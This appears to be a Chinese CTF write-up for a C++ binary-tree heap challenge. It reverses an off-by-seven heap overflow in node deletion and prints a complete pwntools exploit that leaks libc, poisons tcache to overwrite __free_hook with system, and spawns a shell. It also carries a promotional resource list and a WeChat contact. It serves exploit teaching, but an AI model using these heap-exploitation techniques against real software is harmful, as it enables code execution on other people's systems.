写点什么

CTF 夺旗 PWN 题: 二叉树的漏洞利用

  • 2021 年 11 月 23 日
  • 本文字数:4407 字

    阅读完需:约 14 分钟

初步分析

程序运行起来看起来似乎是一道常规的菜单堆题:



libc 环境:



是 Glibc 2.27-3ubuntu1.4,这个版本与 2.31 版本很像,都有 key 机制,一定程度上防止了 double free 的攻击。


【一>所有资源获取<一】

1、200 份很多已经买不到的绝版电子书

2、30G 安全大厂内部的视频资料

3、100 份 src 文档

4、常见安全面试题

5、ctf 大赛经典题目解析

6、全套工具包

7、应急响应笔记


回到程序,程序的功能有插入,展示和删除,我们具体用 IDA 打开来看看程序是个什么逻辑。



可以看到函数列表有非常多的函数(原题去除了符号表,笔者经过逆向重命名了一些函数符号),并且使用 c++编写,逆向起来难度更大,如果采取常规的静态分析手段,可能会花费很大的精力,由于题目名字是 cxx_and_tree,我们猜测整个程序是用树这种数据结构来存储信息,最经典的莫过于二叉树,我们可以来写个 demo 来测试程序,如果申请以下堆块,那么堆结构如下面的图:


add(0, 0x60, 'a')add(4, 0x60, 'a')add(2, 0x60, 'a')add(9, 0x60, 'a')add(3, 0x60, 'a')add(7, 0x60, 'a')
复制代码



其中 0x40 大小的为 node 部分数据,其余大小的为其 data 数据,将其画为二叉树长成如下样子:



左右子树根据其 index 分如上图,并且通过观察每个 node 的节点可以确定程序是用二叉树来存储数据。


经过逐步调试和逆向加深对程序的理解后,笔者分析 node 结构体如下:


struct node{__int64 idx;  // 节点号__int64 user_size; // 用户输入的size__int64 *self_heap_buf; // 存储数据的bufnode *left; // 左孩子node *right; // 右孩子node *father; // 父节点};
复制代码


具体的漏洞和代码逆向请看下文。

漏洞分析与逻辑触发点

漏洞位于当我们删除某个二叉树节点的时候,如果该节点有左右子树,会调用一个 memcpy 的函数,这个函数的对于节点 size 的处理是有问题的。


在申请节点的时候,其 size 的算法是这样的:



做了一个类似于 align 的操作,这个操作是很安全的,人为扩展了一下 chunk,使得我们能够申请的最大的 size 和其 align 之后最小的 size 一样大,但是下面的删除节点的操作就有 bug 了:



v2 = (unsigned __int64)tmp_target->user_size >> 3;
复制代码


写个 poc 来看下我们能溢出的字节数量。


def poc():for size in range(0x10, 0xff + 1):biggerSize = ((size >> 3) + 1) * 8smallerSize = (size >> 3) * 8if biggerSize > smallerSize:print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize)))poc()
复制代码



注意到我们在触发这个逻辑的时候,有部分 size 是比 biggerSize 要小的,最多可以溢出 7 字节。


整个删除节点的逻辑如下:



想要到达漏洞点所在的位置,则该节点必须同时拥有左右孩子节点才可以。


分析下如果该节点同时拥有左右孩子节点,那么删除该节点的时候发生的流程大致如下:


首先是获得该节点中右子树中最小的元素(按 idx 确定大小,因为下面一直走的是左子树的逻辑)



然后将其要替换的节点传入到带有 bug 的函数中,在此函数中,程序重新申请了一块 buf,然后复制要替换节点的数据到新的 buf 中,值得注意的是,并没有像我们传统的数据结构中一通乱改指针,而是采用了一个复制的思想,但是新创建的 buf 的 size 给少了,控制得当能够溢出七个字节。



然后再往下的逻辑就是删掉刚才的右子树中的最小节点,因为其数据已经拷贝到原本要删除的节点当中。



在这里我有个疑问,既然之前选到了右子树的最小的节点,那么为什么还要判断其是否还有左子树呢?上面的分支应该永远不会进入,或许是出题人为了增加逆向难度,又或者是出题人面向 ctrl+CV 编程。


然后进入一个删除节点的函数:


(*tmp_father_node)->right = (*to_delete_node)->right;if ( (*to_delete_node)->right )(*to_delete_node)->right->father = *tmp_father_node;v6 = *to_delete_node;if ( *to_delete_node ){deleteNode0((__int64)*to_delete_node);operator delete(v6);}*to_delete_node = 0LL;}return __readfsqword(0x28u) ^ v8;}
复制代码


分为两种情况删除,一是叶子节点,另外就是还有一个右孩子节点,删除的方法很普通,就是普通数据结构中学的删除方法一样。

漏洞利用

完整 exp 如下:


from pwn import *import sysarch =  64challenge = "./pwn1"libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"libc_path_remote = ""local = int(sys.argv[1])elf = ELF(challenge)                                                                              context.os = 'linux'context.terminal = ['tmux', 'splitw', '-hp', '65']if local:if libc_path_local:io = process(challenge,env = {"LD_PRELOAD":libc_path_local})# io = gdb.debug(challenge, 'b *$rebase(0x279f)')libc = ELF(libc_path_local)else:io = process(challenge)else:io = remote("node4.buuoj.cn", 25965)if libc_path_remote:libc = ELF(libc_path_remote)if arch == 64:context.arch = 'amd64'elif arch == 32:context.arch = 'i386'def dbg():context.log_level = 'debug'def echo(content):print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")p   = lambda     : pause()s   = lambda x   : success(x)re = lambda m, t : io.recv(numb=m, timeout=t)ru = lambda x   : io.recvuntil(x)rl = lambda     : io.recvline()sd = lambda x   : io.send(x)sl = lambda x   : io.sendline(x)ia = lambda     : io.interactive()sla = lambda a, b : io.sendlineafter(a, b)sa = lambda a, b : io.sendafter(a, b)uu32 = lambda x   : u32(x.ljust(4,b'\x00'))uu64 = lambda x   : u64(x.ljust(8,b'\x00'))bps = []pie = 0def gdba():if local == 0:return 0cmd ='b *$rebase(0x1ee2)\n'if pie:base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16)cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])cmd +='set base={:#x}\n'.format(base)else:cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])gdb.attach(io,cmd)_add,_free,_show = 2,3,1menu = "3.remove_information"def add(idx, size, content):sla(menu, str(_add))sla("idx:", str(idx))sla('size:', str(size))sa("content:", content)# ru('addr=')# return int(io.recv(5), base=16)def free(idx):sla(menu, str(_free))sla("idx:", str(idx))def show():sla(menu, str(_show))def exp():for i in range(8):add(i, 0xd0, 'a')for i in range(7):free(i)add(8, 0x20, 'a')show()leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']libc_base = leakecho('libc base:' + hex(libc_base))free(7)free(8)add(7, 0xdf, 'z' * 0xdf)add(4, 0xd0, 'a')add(2, 0xd0, 'a')add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)add(10, 0xdf, 'c' * 0xdf)add(15, 0xdf, 'd' * 0xdf)add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))# The last one chunks are buF areas of Number 3# The last two chunks are buF areas of Number bfree(11) # 5c0 will corrupt__free_hook = libc_base + libc.sym['__free_hook']system = libc_base + libc.sym['system']free(4)add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))add(0, 0x2f, 'a')add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))free(2)free(0)free(4)free(15)free(10)free(13)# Get the second chunk of 0x30add(13, 0xd0, 'a')add(10, 0x2f, 'a')add(15, 0x2f, 'a')add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))free(13)free(10)free(15)add(10, 0xd0, '/bin/sh\x00')add(8, 0x2f, '/bin/sh\x00')add(13, 0x2f, '/bin/sh\x00')add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))free(10)free(8)exp()ia()
复制代码


漏洞其实并不太好利用,分析原因如下:insert 节点的时候会额外申请别的堆块出来,整体的堆布局我们其实并不太好控制,所以漏洞利用的时候会有时不可控,我们需要反复的调试,现给出 exp 的书写思路。

泄露 libc 基址

for i in range(8):add(i, 0xd0, 'a')for i in range(7):free(i)add(8, 0x20, 'a')show()leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']libc_base = leakecho('libc base:' + hex(libc_base))free(7)free(8)
复制代码


在 2.27 下,只要循环填满 tcache 即可很容易的泄露出 libc



布置二叉树

add(7, 0xdf, 'z' * 0xdf)add(4, 0xd0, 'a')add(2, 0xd0, 'a')add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)add(10, 0xdf, 'c' * 0xdf)add(15, 0xdf, 'd' * 0xdf)add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))
复制代码


可以看到,我们在输入 content 的时候会输入一些很奇怪的值,这个时候的值我们是无法确定的,必须结合后文来慢慢调试。


初始状态如图所示,这个时候我们去 free11,将会到达漏洞所在逻辑的位置处,让程序触发漏洞。



此时堆空间的布局如图所示:



可以看到这个时候其实已经利用了漏洞改写了下一个堆块的 size 位,形成了 overlap。



下面是关键操作,劫持 tcache 数组的 0x30 大小的 chunk 的 fd 为 hook。


free(4)add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))
复制代码


此时的 bins 情况:



此时的二叉树为:



因为现在已经将 freehook 链入到 tcache 里面,下面我们的工作主要就是围绕怎么将其申请出来而努力,首先直接申请是肯定不行的,我也没有深究,因为申请的时候会首先申请两个 chunk 出来,然后将其 free 掉,然后再做一系列的 memcpy 操作,在这一系列的过程中,无法保证中间 chunk 的合法性能够绕过检查,所以我们还是利用漏洞点申请不同 size 的 chunk 的这一特性努力,我们可以逐个布置满足要求的二叉树节点,然后利用漏洞来申请出来这个 chunk。

第一轮申请

add(0, 0x2f, 'a')add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))free(2)
复制代码


布置完如下 node,二叉树为:



堆布局为:



可以看到还有两个 node 就可以申请到 freehook。


free(0)free(4)free(15)free(10)free(13)
复制代码


清除一些无关的 node,为我们布置节点做好铺垫。

第二轮申请

add(13, 0xd0, 'a')add(10, 0x2f, 'a')add(15, 0x2f, 'a')add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))free(13)
复制代码


此时二叉树为:



堆布局为:



清除一些节点来重新布置。


free(10)free(15)
复制代码

第三轮申请并 getshell

故技重施,最终可以申请到 hook 所在空间并 getshell。


add(10, 0xd0, '/bin/sh\x00')add(8, 0x2f, '/bin/sh\x00')add(13, 0x2f, '/bin/sh\x00')add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))free(10)free(8) # getshell
复制代码



本文到这里就结束了

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
CTF夺旗PWN题:二叉树的漏洞利用